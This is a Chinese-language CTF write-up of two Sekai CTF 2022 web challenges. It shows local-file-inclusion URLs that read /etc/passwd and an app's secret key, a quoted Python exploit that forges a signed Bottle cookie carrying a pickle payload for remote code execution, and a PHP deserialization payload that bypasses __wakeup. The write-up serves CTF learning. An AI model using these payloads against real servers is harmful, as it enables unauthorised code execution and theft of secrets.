Sekai CTF 2022

国外比赛难度确实逆天

Sekai CTF 2022

https://github.com/project-sekai-ctf/sekaictf-2022

这是官方的wp和题目的docker,我后面还是把web都复现一下

image-20221003101420158

大比赛,每个题要么难出头,要么感觉就差一点,与大佬的差距,鼠鼠只能赛后复现wp了

image-20221003104433566

这是web难度【看起来就是按解题人数来分】

1.bottle-poem[后续学习了,补上自己的思路]

1
2
3
4
5
6
7
8
9
10
11
hint:

Come and read poems in the bottle.

No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server.

翻译:

快来读一读瓶中的诗吧。

解决这一挑战不需要暴力破解。请不要使用扫描仪工具。应用速率限制。标志在服务器上是可执行的。

这道题我已经秃头了,开始觉得是单纯的文件包含,但是后面看到官方发的wp,感觉又没那么简单

我先直接展示官方的wp,然后再展示我复现的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Hey guys Thx for attending SekaiCTF  i made two challenges for this competition one is bottle poem another is sekaigame start

for the bottle poem most of people think its guessy and at the start the challenge always down so say sorry to u and respect to my buddy hfz that he fix this challenge

here is my short wp
-----------------
it's easy to find that this website has LFI
u wanna to read file directly but failed
that's not show u that we hide it that means u havent enough execute permission to read it (so we update description that flag is executable and u dont need some bruteforcing or guessing)flag is in the common path /flag

so we need to read source
just like this

http://bottle-poem.ctf.sekai.team/show?id=/proc/self/cwd/app.py

so dont need to bruteforce proc/self/ just use it to got sourcecode

use this way u can read the secret --sekai

http://bottle-poem.ctf.sekai.team/show?id=/proc/self/cwd/config/secret.py

now u can control the cookies but if u read something just like /views/admin.html or just make guest to admin u would find its a troll

so u need rce truely if u search some documentation will find the bottle's cookie_decode() will unpickle so use this to get rce
https://github.com/bottlepy/bottle/issues/900

here the steps
1.lfi to read file and secret
2.use cookie pickle rce to reverse a shell
3.execute /flag to get flag
---------
and my exp
-------------
demo exp
import base64,hashlib,pickle,hmac
import os
def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)


def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, 0))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

class test():
def __reduce__(self):
return (eval,('__import__("os").popen("command")',))


obj = test()
a = cookie_encode(obj,'Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu')
print(a)

翻译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
大家好,感谢参加 SekaiCTF 我为这次比赛提出了两个挑战,一个是瓶子诗,另一个是 sekaigame start

对于瓶子诗,大多数人认为它是猜测性的,一开始挑战总是失败,所以向你说声抱歉,并尊重我的好友 hfz,他解决了这个挑战

这是我的简短 wp
-----------------
很容易发现这个网站有LFI(本地文件包含)
你想直接读取文件但失败了
这并没有告诉你我们隐藏它,这意味着你没有足够的执行权限来读取它(所以我们更新了标志是可执行的并且你不需要一些暴力破解或猜测的描述)标志在公共路径/标志中

所以我们需要阅读源码
像这样

http://bottle-poem.ctf.sekai.team/show?id=/proc/self/cwd/app.py

所以不需要蛮力 proc/self/ 只需使用它来获取源代码

使用这种方式你可以阅读秘密--sekai

http://bottle-poem.ctf.sekai.team/show?id=/proc/self/cwd/config/secret.py

现在您可以控制 cookie,但如果您阅读 /views/admin.html 之类的内容,或者只是让访客成为管理员,您会发现它是一个巨魔(可以理解为恶搞)

所以你真的需要 rce 如果你搜索一些文档会发现瓶子的 cookie_decode() 会解开所以用它来获取 rce
https://github.com/bottlepy/bottle/issues/900

这里的步骤
1.lfi读取文件和秘密
2.使用cookie pickle rce 反弹一个shell
3.执行/flag获取flag

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
demo exp
import base64,hashlib,pickle,hmac
import os
def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)


def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, 0))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

class test():
def __reduce__(self):
return (eval,('__import__("os").popen("command")',))


obj = test()
a = cookie_encode(obj,'Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu')
print(a)

下面是我复现理解操作

先打开网站,看到有三个可以打开的链接

image-20221003201506807

先看看源码

image-20221003201547093

发现没什么额外的信息,三个链接是对应着三个文本文件

看起来似乎是文件包含的题

1
http://bottle-poem.ctf.sekai.team/show?id=spring.txt

image-20221003202543907

我们试试能不能显示其他信息,我在做的时候试的是/etc/passwd

1
http://bottle-poem.ctf.sekai.team/show?id=/etc/passwd

image-20221003202814644

看来是方向对了,确实是可以包含本地文件并显示,但是没有其他信息能利用

*查看当前进程的启动命令

这个是看最后发的wp,学到了

1
2
3
/proc/self/cmdline

//该文件包含的是该进程的命令行参数,包括进程的启动路径(argv[0])

然后会下载一个名叫show的文件

1
python3 -u /app/app.py 

在命令中,我们发现运行了一个/app/app.py的文件

看来这就是我们网站启动的脚本,里面就有我们网站的源码

1
http://bottle-poem.ctf.sekai.team/show?id=/app/app.py

查看到文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
return template("index")


@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile


@error(404)
def error404(error):
return template("error")


@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)

1
from config.secret import sekai

看到config.secret,这是个文件路径/config/secret

我们可以访问看看,能不能看到里面的内容【注意这个文件肯定是在 /app目录下】

1
http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py

得到

1
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

1
2
3
1. lfi 读取文件和秘密
2. 使用 cookie pickle rce 反弹shell
3. 执行./flag获取flag

根据官方的pickle rce,这个涉及新的 pickle 反序列化技巧

【流下没技术的眼泪】可我现在只会php反序列化,后面补上


2.sekai-game-start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;

}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}

?>

看起来是到反序列化的题目,看起来似乎难度不大,但是我被瓶子诗卡了太久,这几天又在搞DC5,后面的题目发布出来都没怎么看了,早知道做一下了【哭唧唧】

我们先简单的分析一下源码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('./flag.php'); //文件包含,把当前目录flag.php文件
class Sekai_Game{
public $start = True;//给strat变量赋值为True
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
//getenv函数 用来获取php 环境变量
}
}
public function __wakeup(){
$this->start=False;
//这里又把start变量赋值为False,所以这里是需要绕过__wakeup魔术方法,不让其执行,只用把属性个数改得大于原来就行
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']); //这里就是序列化的变量,变量名为sekai_game.run
}else{
highlight_file(__FILE__);
}

?>

然后我们整理一下

得到我们的序列化的php代码

1
2
3
4
5
6
7
8
9
<?php
class Sekai_Game{
public $start = True;
}

$a=new Sekai_Game();
echo serialize($a);

?>

运行得到序列化结果

1
O:10:"Sekai_Game":1:{s:5:"start";b:1;}

我们修改一下属性值

1
O:10:"Sekai_Game":2:{s:5:"start";b:1;}

【苦笑】但实际是不行的

关键考点

但是

image-20221003135130855

1
2
3
4
5
PhP 变量不能使用 . ,但是这个变量名很特殊:sekai_game.run. 它同时具有 _ 和 . 

php默认将.所有参数名称转换为_,因为版本早于8,有一种方法可以解决这个问题,使用[ ,php忽略所有 . ,只转换[为_参数 ==> ?sekai[game.run=

**学到了**

所以有效的payload

1
url/?sekai[game.run=xxx

第二步是绕过__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
这里我用
O:10:"Sekai_Game":2:{s:5:"start";b:1;}

实际还是绕不过__wakeup函数,就算是属性个数大于原来的属性个数

==>网上找了以后,发现这个方法是有局限性的,对于高版本的php,这样是无法绕过__wakeup()
----

对于高版本的php
可以用C:来绕过

原理是C:代表这个类实现了serializeable接口,而serializeable不支持__wakeup,就绕过去了
==>
C:10:"Sekai_Game":2:{s:5:"start";b:1;}


但是因为源码中已经赋值,所以不填写数据,
只用实例化Sekai_Game类
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Sekai_Game{
}

$a=new Sekai_Game();
echo serialize($a);

?>


==>O:10:"Sekai_Game":0:{}
==>C:10:"Sekai_Game":0:{}

于是最后的payload为

1
?sekai[game.run=C:10:"Sekai_Game":0:{}

image-20221003162948932

得到flag